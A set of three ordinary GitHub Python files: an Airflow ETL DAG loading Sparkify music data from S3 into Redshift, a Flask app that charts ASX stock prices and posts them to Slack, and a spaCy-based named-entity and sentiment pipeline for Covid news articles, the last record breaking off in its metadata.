{"seq_id": "35328084217", "text": "from datetime import datetime, timedelta\nfrom pathlib import Path\nfrom airflow import DAG\nfrom airflow.models import Variable\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.operators import (StageToRedshiftOperator, LoadFactOperator, LoadDimensionOperator, DataQualityOperator)\n\n\n# specify DAG default arguments\ndefault_args = {\n    'owner': 'sparkify',\n    'start_date': datetime(2019, 1, 12),\n    'end_date': datetime(2019, 7, 23),\n    'depends_on_past': False,\n    'retries': 3,\n    'retry_delay': timedelta(minutes=5),\n    'catchup': False,\n    'email_on_retry': False,\n    'aws_conn_id': 'aws_default',\n    'postgres_conn_id': 'redshift_default',\n    'redshift_conn_id': 'redshift_default',\n    'params': {\n        's3_bucket': 'udacity-dend',\n        's3_region': 'us-west-2',\n        's3_json_path': 's3://udacity-dend/log_json_path.json',\n        'aws_iam_role': Variable.get(\"aws_iam_role\")\n    }\n}\n\n# define DAG\nwith DAG(dag_id=\"sparkify_dag\",\n         description=\"Load and transform data from S3 into Redshift\",\n         default_args=default_args,\n         schedule_interval=\"@hourly\",\n         template_searchpath=str(Path(__file__).parent.parent.joinpath(\"sql\"))) as dag:\n\n    # define tasks\n    start = DummyOperator(task_id='begin_execution')\n\n    create_tables = PostgresOperator(\n        task_id=\"create_tables\",\n        sql=\"create_tables.sql\"\n    )\n\n    stage_events_to_redshift = StageToRedshiftOperator(\n        task_id=\"stage_events\",\n        aws_iam_role=\"{{ params.aws_iam_role }}\",\n        s3_bucket=\"{{ params.s3_bucket }}\",\n        s3_key=\"log-data\",\n        s3_region=\"{{ params.s3_region }}\",\n        redshift_table=\"staging_events\",\n        json_path=\"{{ params.s3_json_path }}\",\n        truncate=False\n    )\n\n    stage_songs_to_redshift = StageToRedshiftOperator(\n        task_id=\"stage_songs\",\n        aws_iam_role=\"{{ params.aws_iam_role }}\",\n        s3_bucket=\"{{ params.s3_bucket }}\",\n        s3_key=\"song-data\",\n        s3_region=\"{{ params.s3_region }}\",\n        redshift_table=\"staging_songs\",\n        json_path=\"auto\",\n        truncate=False\n    )\n\n    load_songplays_table = LoadFactOperator(\n        task_id=\"load_songplay_fact_table\",\n        fact_table=\"songplay\",\n        fact_cols=\"playid, start_time, userid, level, songid, artistid, sessionid, location, user_agent\",\n        sql=\"songplay_insert.sql\",\n        truncate=False\n    )\n\n    load_user_dimension_table = LoadDimensionOperator(\n        task_id='load_user_dim_table',\n        dim_table=\"users\",\n        dim_cols=\"userid, first_name, last_name, gender, 'level'\",\n        sql=\"user_insert.sql\",\n        truncate=False\n    )\n\n    load_song_dimension_table = LoadDimensionOperator(\n        task_id='load_song_dim_table',\n        dim_table=\"songs\",\n        dim_cols=\"songid, title, artistid, 'year', duration\",\n        sql=\"song_insert.sql\",\n        truncate=False\n    )\n\n    load_artist_dimension_table = LoadDimensionOperator(\n        task_id='load_artist_dim_table',\n        dim_table=\"artists\",\n        dim_cols=\"artistid, name, location, latitude, longitude\",\n        sql=\"artist_insert.sql\",\n        truncate=False\n    )\n\n    load_time_dimension_table = LoadDimensionOperator(\n        task_id='load_time_dim_table',\n        dim_table=\"time\",\n        dim_cols=\"start_time, 'hour', 'day', week, 'month', 'year', weekday\",\n        sql=\"time_insert.sql\",\n        truncate=False\n    )\n\n    run_quality_checks = DataQualityOperator(\n        task_id='run_data_quality_checks',\n        check_tables=[\"songplay\", \"users\", \"songs\", \"artists\", \"time\"],\n        check_sql=\"has_rows\"\n    )\n\n    end = DummyOperator(task_id='Stop_execution')\n\n    # define task dependencies\n    staging_tasks = [stage_events_to_redshift, stage_songs_to_redshift]\n    load_dim_tables = [load_song_dimension_table, load_artist_dimension_table, load_user_dimension_table,\n                       load_time_dimension_table]\n\n    start >> create_tables >> staging_tasks >> load_songplays_table >> load_dim_tables >> run_quality_checks >> end\n", "repo_name": "slangenbach/udacity-de-nanodegree", "sub_path": "airflow/dags/sparkify_dag.py", "file_name": "sparkify_dag.py", "file_ext": "py", "file_size_in_byte": 4102, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 17, "usage_type": "call"}, {"api_name": "airflow.models.Variable.get", "line_number": 27, "usage_type": "call"}, {"api_name": "airflow.models.Variable", "line_number": 27, "usage_type": "name"}, {"api_name": "airflow.DAG", "line_number": 32, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 36, "usage_type": "call"}, {"api_name": "airflow.operators.dummy_operator.DummyOperator", "line_number": 39, "usage_type": "call"}, {"api_name": "airflow.operators.postgres_operator.PostgresOperator", "line_number": 41, "usage_type": "call"}, {"api_name": "airflow.operators.StageToRedshiftOperator", "line_number": 46, "usage_type": "call"}, {"api_name": "airflow.operators.StageToRedshiftOperator", "line_number": 57, "usage_type": "call"}, {"api_name": "airflow.operators.LoadFactOperator", "line_number": 68, "usage_type": "call"}, {"api_name": "airflow.operators.LoadDimensionOperator", "line_number": 76, "usage_type": "call"}, {"api_name": "airflow.operators.LoadDimensionOperator", "line_number": 84, "usage_type": "call"}, {"api_name": "airflow.operators.LoadDimensionOperator", "line_number": 92, "usage_type": "call"}, {"api_name": "airflow.operators.LoadDimensionOperator", "line_number": 100, "usage_type": "call"}, {"api_name": "airflow.operators.DataQualityOperator", "line_number": 108, "usage_type": "call"}, {"api_name": "airflow.operators.dummy_operator.DummyOperator", "line_number": 114, "usage_type": "call"}]}
{"seq_id": "39216428021", "text": "import requests\nimport time\nimport os\nimport json\n\nimport pandas as pd\nfrom pandas.tseries.offsets import BDay\nfrom datetime import datetime\nimport pytz\n\n# import matplotlib.pyplot as plt\nimport mplfinance as mpl\n\nimport slack_sdk as slack\n\nSLACK_TOKEN=os.environ['SLACK_TOKEN']\nSLACK_CHANNEL=os.environ['SLACK_CHANNEL']\nclient = slack.WebClient(token=SLACK_TOKEN)\n\nimport flask\n\n# yahoo\nstyle = {'base_mpl_style': 'fast',\n         'marketcolors'  : {'candle': {'up': '#579FEC', 'down': '#E28E60'},\n                            'edge'  : {'up': '#579FEC', 'down': '#E28E60'},\n                            'wick'  : {'up': '#579FEC', 'down': '#E28E60'},\n                            'ohlc'  : {'up': '#579FEC', 'down': '#E28E60'},\n                            'volume': {'up': '#579FEC', 'down': '#E28E60'},\n                            'vcedge': {'up': '#579FEC', 'down': '#E28E60'},\n         'vcdopcod'      : True,\n         'alpha'         : 0.9},\n         'mavcolors'     : None,\n         'facecolor'     : '#fafafa',\n         'gridcolor'     : '#d0d0d0',\n         'gridstyle'     : '-',\n         'y_on_right'    : False,\n         'rc'            : {'axes.labelcolor': '#101010',\n                            'axes.edgecolor' : 'f0f0f0',\n                            'axes.grid.axis' : 'y',\n                            'ytick.color'    : '#101010',\n                            'xtick.color'    : '#101010',\n                            'figure.titlesize': 'x-large',\n                            'figure.titleweight':'semibold',\n                           },\n         'base_mpf_style': 'yahoo'}\n\napp = flask.Flask(__name__)\n@app.route('/', methods=['GET'])\ndef home():\n\n    code = flask.request.args['code']\n\n    # req data\n    au_last = (datetime.now(tz=pytz.timezone('Australia/Melbourne')) - BDay(1)).date()\n    # start, end = int(time.time()), int(time.time() - 60 * 1440 * 1) # -1d\n    start = int(datetime(au_last.year, au_last.month, au_last.day, 10, 0, tzinfo=pytz.timezone('Australia/Melbourne')).timestamp())\n    end = int(datetime.now(tz=pytz.timezone('Australia/Melbourne')).timestamp())\n    \n    url = f\"https://au.advfn.com/common/javascript/tradingview/advfn/history?symbol=ASX%5E{code}&resolution=5&v=1&from={start}&to={end}\"\n    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}\n    r = requests.get(url, headers=headers)\n    d = json.loads(r.content)\n    d = pd.DataFrame(d)\n    d['t'] = pd.to_datetime(d['t'], unit='s')\n    d = d.set_index('t')\n    d = d.rename(columns={\n        'o': 'Open',\n        'h': 'High',\n        'l': 'Low',\n        'c': 'Close',\n        'v': 'Volume',\n    })\n    d.index = d.index.tz_localize('UTC').tz_convert('Australia/Sydney')\n    d = d.sort_index()\n\n    # make chart\n    mpl.plot(\n        d,\n        type=\"candle\",\n        style=style,\n        savefig='chart.png',\n        xrotation=30,\n        fontscale=0.8,\n        volume=True,\n        ylabel=code,\n        ylabel_lower='',\n        scale_padding={\n            'left': 0.5,\n            'top': 0.5,\n            'bottom': 0.75,\n            'right': 0.25\n        },\n        vlines=dict(\n            vlines=[_ for _ in d.index if _.time().hour == 15 and _.time().minute == 55],\n            alpha=0.5, colors='grey', linestyle='dashed'\n        ),\n    )\n\n    img = open('chart.png'.format(code), 'rb').read()\n\n    # post to slack\n    r2 = client.files_upload(\n        channels=SLACK_CHANNEL,\n        filename=code,\n        content=img\n    )\n\n    return r2\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080, debug=True)\n", "repo_name": "samchaaa/slackchartpy", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "slack_sdk.WebClient", "line_number": 18, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 47, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 51, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.tseries.offsets.BDay", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 56, "usage_type": "call"}, {"api_name": "pytz.timezone", "line_number": 56, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 57, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 61, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 64, "usage_type": "call"}, {"api_name": "mplfinance.plot", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "27086593943", "text": "\"\"\" Named Entity Recognition \"\"\"\n\nimport sys\nfrom datetime import datetime, timedelta\nimport spacy  # the spacy nets have been trained on OntoNotes 5.0spacy.prefer_gpu()\n# spacy.prefer_gpu()\nfrom spacy import displacy\nfrom collections import Counter\nimport pandas as pd\nfrom itertools import chain\nimport neuralcoref\nfrom datetime import datetime\nimport time\n# import spacy_dbpedia_spotlight\nimport numpy as np\nfrom collections import namedtuple\nfrom copy import deepcopy\nimport os\nimport requests\n\nsys.path.append(\"src/\")\nimport read_data\n\nsys.path.append(\"src/visualization/\")\nimport visualization.get_viz_data as get_viz_data\nimport visualization.matplotlib_viz as viz\nimport visualization.bar_chart_race as bar_chart_race\n\n# custom adaption of spacy_dbpedia_spotlight\nsys.path.append(\"src/spacy_dbpedia_spotlight/\")\nfrom spacy_dbpedia_spotlight import entity_linker \nfrom spacy_dbpedia_spotlight import initialize\n\nfrom sentiment import target_based_sentiment\nfrom sentiment import general_sentiment\n\n\nclass NamedEntityRecognizer:\n    def __init__(self, model_size, with_sentiment=False):\n        assert model_size in [\"sm\", \"lg\"]\n        self.nlp = spacy.load(f\"en_core_web_{model_size}\")  # \"eng_core_web_lg\" for better but slower results\n        coref = neuralcoref.NeuralCoref(self.nlp.vocab, greedyness=0.4)\n        self.nlp.add_pipe(coref, name='neuralcoref')\n\n\n        self.nlp_pp = spacy.load(f\"en_core_web_{model_size}\")\n\n        self.nlp_dbp = spacy.load(f\"en_core_web_{model_size}\", disable=[\"ner\"])\n        initialize.load('en', self.nlp_dbp)\n\n\n        self.nlp_nr = spacy.load(f\"en_core_web_{model_size}\")\n\n        if with_sentiment:\n            # Load target based sentiment\n            self.tsa = target_based_sentiment.TargetSentimentAnalyzer()  \n\n            # Load general based sentiment\n            self.gsa = general_sentiment.GeneralSentimentAnalyzer()\n\n    def spacy_preprocessing(self, df):\n        # TODO build separate pipelines for dbpedia vs. standard NER\n        # build param for _sm / _lg model\n        \n        # TODO do we need/want entity merger?\n        # merge_ents = nlp.create_pipe(\"merge_entities'\")\n        # nlp.add_pipe(merge_ents)\n        print(\"Starting NLP...\\t\", str(datetime.now()))\n        print(\"------------------------\")\n        print(self.nlp.pipe_names)\n        print(\"------------------------\")\n        # df[\"nlp\"] = [i for i in nlp.pipe(df[\"body\"], batch_size=10, n_threads=6)]  # didn't really speed up anything\n        # res = pd.DataFrame(df[\"body\"].apply(nlp))\n        # res.columns = [\"nlp\"]\n\n        df[\"nlp\"] = df[\"body\"].apply(self.nlp)\n        return df\n\n    def spacy_ner(self, df):\n        \"\"\" Use spacy CNN NER \"\"\"\n        # TODO should we try some of https://github.com/explosion/spaCy/tree/2d249a9502bfc5d3d2111165672d964b1eebe35e/bin/wiki_entity_linking        \n        print(\"Starting NLP Coref\\t\", str(datetime.now()))\n        print(\"------------------------\")   \n        print(\"Spacy NER pipeline:\", self.nlp_pp.pipe_names)   \n        print(\"------------------------\")   \n        df[\"nlp_resolved\"] = df[\"nlp\"].apply(lambda x: self.nlp_pp(x._.coref_resolved))\n        print(\"Completed NLP by...\\t\", str(datetime.now()))\n        return df\n\n    def dbpedia_ner(self, df):\n        \"\"\" Use DBPedia matching \"\"\"\n        \n        # TODO we might be throwing out a lot of stuff in entity_linker (spacy_dbpedia_spotlight), maybe go check?\n        \n        print(\"Starting NLP Coref\", str(datetime.now()))\n        print(\"------------------------\")   \n        print(\"DBPedia NER pipeline:\", self.nlp_dbp.pipe_names)   \n        print(\"------------------------\")\n        def inner(x):\n            return self.nlp_dbp(x)\n\n        df[\"nlp_resolved\"] = df[\"nlp\"].apply(lambda x: inner(x._.coref_resolved))\n        # res = pd.DataFrame(df[\"nlp\"].apply(lambda x: inner(x._.coref_resolved)))\n        # res.columns = [\"nlp_resolved\"]\n        # res.append(df[])\n        print(\"Completed NLP by...\\t\", str(datetime.now()))\n        return df\n\n    def find_most_common_entities(self, df, nlp_doc_colname:str, entity_type:str, df_name):\n        \"\"\" Find most common entity for each article \"\"\"\n        # TODO put a similarity threshold in here somewhere!\n        def find_most_common_entity(article_raw):\n            article = article_raw[nlp_doc_colname]\n            article_length = len(article.text)\n            if article is None:\n                return tuple()\n            \n            all_items = []  # mostly for debugging\n            entity_counts = {}\n            replacement_candidate = np.zeros(len(article.text)) -1\n\n            for x in article.ents:\n                if x.text.isspace():\n                    continue\n                text = x.text\n                url = x.label_.split(\" \")[0]\n                dbpedia_labels = x.label_.split(\" \")[1]\n                all_items.append((text, url, dbpedia_labels)) \n                \n                # resolve common disambiguitions\n                if text.lower() == \"washington\":  # in doubt, go for location\n                    standard_ner_ents = {i.text.lower(): i.label_ for i in article_raw[\"nlp\"].ents}\n                    if \"washington\" in [i.lower() for i in standard_ner_ents.keys()]:\n                        if standard_ner_ents[\"washington\"] == \"GPE\":\n                            dbpedia_labels = \"Location_State\"\n                elif text.lower() == \"trudeau\":  # in doubt, go for Justin\n                    dbpedia_labels = \"Justin Trudeau\"\n\n                if entity_type in dbpedia_labels:\n                    # append last bit of url to make sure we don't get duplicates\n                    last_url_tag = url.rfind(\"/\")\n                    entity_name = url[last_url_tag+1:].replace(\"_\", \" \")\n                    if entity_name in entity_counts.keys():\n                        entity_counts[entity_name] += 1\n                    else:\n                        entity_counts[entity_name] = 1\n                    # set replacement candidate to index of corresponding entity in dict\n                    ent_index = list(entity_counts).index(entity_name)\n                    surface_form_start = article[x.start].idx\n                    if x.end >= len(article):\n                        surface_form_end = article_length\n                    else:\n                        surface_form_end = article[x.end].idx\n                        # in case there is whitespace before next token, subtract\n                        if article.text[article[x.end].idx-1] == \" \":\n                            surface_form_end -= 1\n                    # TODO: possible bug here. If we have two candidates with the same names we for some reason do not replace them correcly\n                    np.put(replacement_candidate, range(surface_form_start, surface_form_end), ent_index)\n            \n            if len(entity_counts) == 0:\n                #TODO: changed this from:\n                # return tuple()\n                return (\"None\", 0, \"\".join(list(deepcopy(article.text))))\n\n            mce = max(entity_counts)\n            mce_list = list(mce)\n            mce_val = entity_counts[mce]\n            mce_idx = list(entity_counts).index(mce)\n\n            in_a_row = False\n            end = None\n            start = None\n            doc_len = article_length\n            # TODO this list stuff isn't very efficient, could prolly be improved using pre-allocated arrays\n            ner_resolved = list(deepcopy(article.text))\n            for index, rep_idx in enumerate(replacement_candidate[::-1]):\n                if (rep_idx != mce_idx) and (not in_a_row):\n                    continue\n                elif (rep_idx == mce_idx) and (not in_a_row):  # we have a mention of our enity\n                    # we found start of surface form\n                    in_a_row = True\n                    end = doc_len - index\n                    start = doc_len - index - 1\n                elif ((rep_idx != mce_idx) or (index==doc_len-1)) and (in_a_row):\n                    # we found end of surface form, replace\n                    if (index==doc_len-1):\n                        start -= 1\n                    ner_resolved = ner_resolved[:start] + mce_list + ner_resolved[end:]\n                    start = None\n                    end = None\n                    in_a_row = False\n                elif (rep_idx == mce_idx) and in_a_row:\n                    # we are still in surface form\n                    start -= 1\n            return (mce, mce_val, \"\".join(ner_resolved))\n\n        df[[df_name, df_name+\"_num\", \"ner_resolved_\"+df_name]] = pd.DataFrame.from_records(\n            df.apply(lambda x: find_most_common_entity(x), axis=1))  # apply to each row\n        # df.dropna(inplace=True)\n        df.reset_index(drop=True, inplace=True)    \n        return df\n\n    def count_most_frequent(self, group):\n        # current approach: most common of the most common - should be ok, I think\n        items = [[i[0]] * i[1] for i in group if not (i is None)]\n        items = list(chain.from_iterable(items))\n        most_common = Counter(items).most_common(1)\n        return most_common[0][0]  # get only the phrase for now\n\n    def get_general_sentiment(self, df):\n        df[\"g_sent\"] = df[\"body\"].apply(lambda x: self.gsa.get_general_sentiment(x))\n\n        return df\n\n    def get_target_sentiments(self, df_pp, targets):\n        for target in targets:        \n            df_pp[\"sents_\" + target] = df_pp[\"ner_resolved_\"+ target].apply(lambda x: list(self.nlp_nr(x, disable=[\"tokenizer\",\"tagger\",\"entity\",\"ner\"]).sents))\n\n        def get_average_sentiment(sentences, target):\n            sentiment_sum = 0\n            count = 0\n\n            trim_count = 0\n            c_sentence_count = 0\n\n            for sentence in sentences:\n                sentiment_tulp = self.tsa.get_sentiment(sentence = str(sentence), target = str(target)) # Convert them to strings\n                # The tuple contains (sentiment, sentence trimmed)\n                sentiment = sentiment_tulp[0]\n                if(sentiment is None):\n                    # Nothing found in this sentence\n                    continue\n                else:\n                    c_sentence_count += 1 #The sentence contains the target word\n                    if(sentiment_tulp[1]):\n                        # The sentence was trimmed\n                        trim_count += 1\n\n                    sentiment_sum += sentiment\n                    count += 1\n\n            if(count != 0):\n                if(c_sentence_count == 0):\n                    c_sentence_count = 1\n                return (sentiment_sum/count, trim_count/c_sentence_count)\n            else:\n                return (0, trim_count)\n\n        def get_covid_sentiment(sentences):\n            sentiment_sum = 0\n            count = 0\n\n            trim_count = 0\n            c_sentence_count = 0\n\n            for sentence in sentences:\n                sentence = str(sentence)\n                sentence = sentence.lower()\n                covid_list = [\"corona\", \"covid\"] #Note that if any substring contains this we will take that as target, thus these are not nescessary \"coronavirus\",\"covid-19\", \"covid19\", \n                \n                parsed_sentence = self.nlp_nr(sentence, disable=[\"parser\",\"tagger\",\"entity\",\"ner\"])\n                \n                found_covid = False\n\n                for token in parsed_sentence:\n                    tt = str(token.text)\n                    if(found_covid):\n                        break # Stop da loop\n\n                    for word in covid_list:\n                        loc = tt.find(word)\n                        if(loc == -1):\n                            # try next\n                            continue\n                        else:\n                            # get the sentiment of the target word\n                            sentiment_tulp = self.tsa.get_sentiment(sentence = str(sentence), target = str(tt)) # Convert them to strings\n                            # The tuple contains (sentiment, sentence trimmed)\n                             \n                            sentiment = sentiment_tulp[0]\n                            \n                            if(sentiment is None):\n                                # Nothing found in this sentence\n                                continue\n                            else:\n                                c_sentence_count += 1 #The sentence contains the target word\n                                if(sentiment_tulp[1]):\n                                    # The sentence was trimmed\n                                    trim_count += 1\n\n                                sentiment_sum += sentiment\n                                count += 1\n                            \n                            found_covid = True\n                            break\n\n            if(count != 0):\n                if(c_sentence_count == 0):\n                    c_sentence_count = 1\n                return (sentiment_sum/count, trim_count/c_sentence_count)\n            else:\n                return (0, trim_count)\n\n        # print(df_pp)\n\n        # Get the average sentiment for each target\n        for target in targets:\n            df_pp[[target + \"_sent\",target + \"_tls\"]] = df_pp.apply(lambda x: pd.Series(get_average_sentiment(x[\"sents_\"+target], x[target])), axis=1)\n        \n        \n        df_pp[[\"c_sent\",\"c_tls\"]] = df_pp.apply(lambda x: pd.Series(get_covid_sentiment(x[\"sents_\"+targets[0]])), axis=1)\n        # Fill this with ones in order to be able to get the average in the end\n        df_pp[\"c_count\"] = 1\n        return df_pp\n    \n    def show_problems(self, article, visualize=False):\n        \"\"\" \n        show some of our current problems in sentiment analyses \n        @param artprint(tsa.get_sentiment(\"asdf\",\"asdf\"))icle: result of spacy nlp applied to the body of an article\n        \"\"\"\n        # run as:\n        # article = df[\"nlp\"][0]\n        # sentence = \"On March 26, Johnson revealed he had tested positive and that he had been dealing with symptoms since that date.\"\n        # displacy.serve(nlp(sentence), style='dep', options = {'distance': 120})\n        # NER.show_problems(article)\n        # we need to further resolve entities\n        item_labels = [(x.text, x.label_) for x in article.ents if not x.text.isspace()]\n        print(item_labels)\n\n        if visualize:\n            # dependency parsing\n            displacy.serve(article, style='dep', options = {'distance': 120})\n            # entity recognition\n            displacy.serve(article, style='ent')\n    \n    def load_preloaded(self, path):\n        return pd.read_csv(path)\n\ndef run_and_save(start_date, end_date, articles_per_period=None, max_length=None, with_sentiments=False, debug=False, delta_d=1):\n    c_date = start_date\n\n    # Name \n    run_name = \"s_\" + start_date.strftime(\"%d_%m_%Y\") + \"_e_\" \\\n        + end_date.strftime(\"%d_%m_%Y\") + \"_app_\" + str(articles_per_period) \\\n        + \"_ml_\" + str(max_length) + \"_\" + datetime.now().strftime(\"d_%d_%m_t_%H_%M\")\n    print(f\"RUN NAME: {run_name}\")\n    if debug:\n        run_name = \"debug_run_\" + datetime.now().strftime(\"d_%d_%m_t_%H_%M\")\n\n    folder_path = \"data/\"+run_name\n    if not os.path.isdir(folder_path):\n        os.mkdir(folder_path)\n    else:\n        print(folder_path)\n        print(\"Already exists, stopping\")\n        return\n\n    print(\"Start run from date: \" + start_date.strftime(\"%d_%m_%Y\") + \" to date: \" + end_date.strftime(\"%d_%m_%Y\"))\n    print(\"Articles per period: \" + str(articles_per_period))\n    print(\"Max Length per article: \" + str(max_length))\n    print(\"Delta day steps:\",delta_d)\n\n    start_time = time.process_time()\n\n    NER = NamedEntityRecognizer(model_size=\"sm\", with_sentiment=with_sentiments)  # model_size=\"lg\")\n\n    # Increase until we hit the last day\n    while(c_date < end_date):\n        try:\n\n            print(\"Running day: \" + str(c_date.strftime(\"%d_%m_%Y\")) + \" till \" + str((c_date + timedelta(days=delta_d)).strftime(\"%d_%m_%Y\")))\n            print(\"Loading Data...\\t\", str(datetime.now()))\n            if not debug:\n                # df = read_data.get_body_df(\n                #     start_date=c_date,\n                #     end_date=c_date,\n                #     articles_per_period=articles_per_period, #700,\n                #     max_length=max_length\n                # )\n                df = read_data.get_representative_df(\n                    start_date=c_date,\n                    end_date=c_date+timedelta(days=delta_d),\n                    max_length=max_length,\n                    n_samples = articles_per_period*delta_d\n                )\n\n            if debug:\n\n                df = pd.DataFrame({\n                    \"body\": [\n                    \"The professor Yann LeCun hates it when his students have purple hair.\",\n                    \"The professor Yann LeCun does not like it when his students have purple hair.\",\n                    \"The professor Yann LeCun does likes it when his students have purple hair.\",\n                    \"People in Greenland do not have the burden of the coronavirus, since they are isolated from the rest of the world they do not have to worry about the disease and all its negative implications.\",\n                    \"People in Greenland have a great time, even though the coronavirus is terrible for the rest of the world they keep their positive vibe.\",\n                    \"People in Greenland do have the burden of the coronavirus, since they are isolated from the rest of the world they do have to worry about the disease and all its negative implications.\"\n                    ],\n                    \"publication_date\": [\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\"]\n                })\n                # df = pd.DataFrame({\n                #     \"body\": [\n                #     \"New Zealand's two top public health bosses will be addressing New Zealand's to update New Zealand's on the latest Covid-19 developments. Director of Public Health Dr Caroline McElnay will join Director-General of Health Ashley Bloomfield...\",\n                #     \"Deepika has a dog. She loves him. The movie star has always been fond of animals\",\n                #     \"The short guy Donald Trump is the worst. He does not know how the world turns.\",\n                #     \"The tall guy Donald Trump is the best.\",\n                #     \"There were 23 more deaths linked to Covid-19 in the Netherlands, raising the total number of people who died in the country to 5,811. Public health agency RIVM said it also knew of another ten hospitalizations for the coronavirus disease.\",\n                #     \"There were 23 more deaths linked to Covid-19 in the Netherlands, raising the total number of people who died in the country to 5,811 public health agency RIVM said it also knew of another ten hospitalizations for the coronavirus disease, there were 23 more deaths linked to Covid-19 in the Netherlands, raising the total number of people who died in the country to 5,811 public health agency RIVM said it also knew of another ten hospitalizations for the coronavirus disease.\",\n                #     \"Coronavirus disease 2019 (COVID-19) is an infectious disease caused by severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2).[10] It was first identified in December 2019 in Wuhan, China, and has since spread globally, resulting in an ongoing pandemic.[11][12] As of 24 May 2020, more than 5.35 million cases have been reported across 188 countries and territories, resulting in more than 343,000 deaths. More than 2.14 million people have recovered.\"],\n                    \n                #     \"publication_date\": [\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\",\"2020-04-05\"]\n                # })\n\n            df = NER.spacy_preprocessing(df) # model_size=\"lg\")\n            if with_sentiments:\n                df = NER.get_general_sentiment(df)\n            # df.drop(columns=[\"body\"], inplace=True) # Drop some columns to make some space\n            df = NER.dbpedia_ner(df) #model_size=\"lg\")\n            df = NER.find_most_common_entities(df, \"nlp_resolved\", entity_type=\"Person\", df_name =  \"mc_p\")  # entity \"OfficeHolder\" is quite nice, \"Person\" works as well\n            df = NER.find_most_common_entities(df, \"nlp_resolved\", entity_type=\"Country\", df_name =  \"mc_c\")\n\n            df.drop(columns=[\"nlp\"], inplace=True)\n\n            if with_sentiments:\n                targets = [\"mc_p\",\"mc_c\"]\n                df = NER.get_target_sentiments(df, targets = targets)\n\n                for target in targets:\n                    df.drop(columns=[\"sents_\"+target], inplace=True)\n                    df.drop(columns=[\"ner_resolved_\"+target], inplace=True)\n\n            # print(df.to_string())\n            df.drop(columns=[\"nlp_resolved\"], inplace=True) # Drop some columns to make some space\n\n\n            # df.drop(columns=[\"nlp_resolved\",\"ner_resolved\"], inplace=True)\n            # TODO check ner_resolved\n            # print(\"aft ts\",df.head())\n            \n\n            # # df = df[[\"publication_date\", \"most_common_1\", \"most_common_1_num\", \"t_sent\", \"c_sent\"]]\n            # df_most_common = NER.sum_period_most_common_entities(df)\n            # print(df_most_common.head())\n\n\n            print(df.head())\n            if(delta_d == 1):\n                file_name = c_date.strftime(\"%d_%m_%Y\")\n            else:\n                file_name = c_date.strftime(\"%d_%m_%Y\") + \"_to_\" +  (c_date + timedelta(days=delta_d)).strftime(\"%d_%m_%Y\")\n            df.to_csv(folder_path + \"/\" + file_name +\".csv\", index=False)\n        except:\n            print(\"Failed to do:\",c_date.strftime(\"%d_%m_%Y\"))\n            print(\"Moving on\")\n\n        # Increase the day\n        c_date += timedelta(days=delta_d)\n    \n    print(\"Multiple day run finished\")\n    elapsed_time = time.process_time() - start_time\n    print(\"Elapsed time: \" + str(round(elapsed_time,2)) + \" seconds\")\n    \n\n\nif __name__ == \"__main__\":\n\n    if not os.path.isdir(\"src/experiments\"):\n        os.mkdir(\"src/experiments\")\n\n    if not os.path.isdir(\"src/logs\"):\n        os.mkdir(\"src/logs\")\n\n    # TODO: dates 2019-11-06 and 2020-01-01 throw errors\n    # start_date=datetime.strptime(\"2019-11-01\", \"%Y-%m-%d\")\n    # end_date=datetime.strptime(\"2020-04-05\", \"%Y-%m-%d\")\n\n    # run_and_save(start_date, end_date, articles_per_period=None,     # df_most_common = get_viz_data.load_data(\"s_01_02_2020_e_05_04_2020_app_500_ml_300_d_26_05_t_15_20\")\n        \n        # df_most_common = prepare_viz(df_most_common, mc_column=\"mc_p\", mc_num_column=\"mc_p_num\",\n        #         sent_col=\"mc_p_sent\", with_sentiment=True)\n        # print(df_most_common.head())\n        # start_date = df_most_common.publication_date.min()\n        # end_date = df_most_common.publication_date.max()\n        # visualize(df_most_common, start_date, end_date, \"mc_p\", \"rolling_sent\")\n\n    start_date=datetime.strptime(\"2020-04-01\", \"%Y-%m-%d\")\n    end_date=datetime.strptime(\"2020-04-02\", \"%Y-%m-%d\")\n\n    run_and_save(start_date, end_date, articles_per_period=100,\n         max_length=500, with_sentiments=True, debug=True, delta_d=1)\n    \n    # start_date=datetime.strptime(\"2020-03-01\", \"%Y-%m-%d\")\n    # end_date=datetime.strptime(\"2020-04-05\", \"%Y-%m-%d\")\n\n", "repo_name": "SamSweere/Covid19-News-Analysis", "sub_path": "src/NamedEntityRecognition.py", "file_name": "NamedEntityRecognition.py", "file_ext": "py", "file_size_in_byte": 23191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": 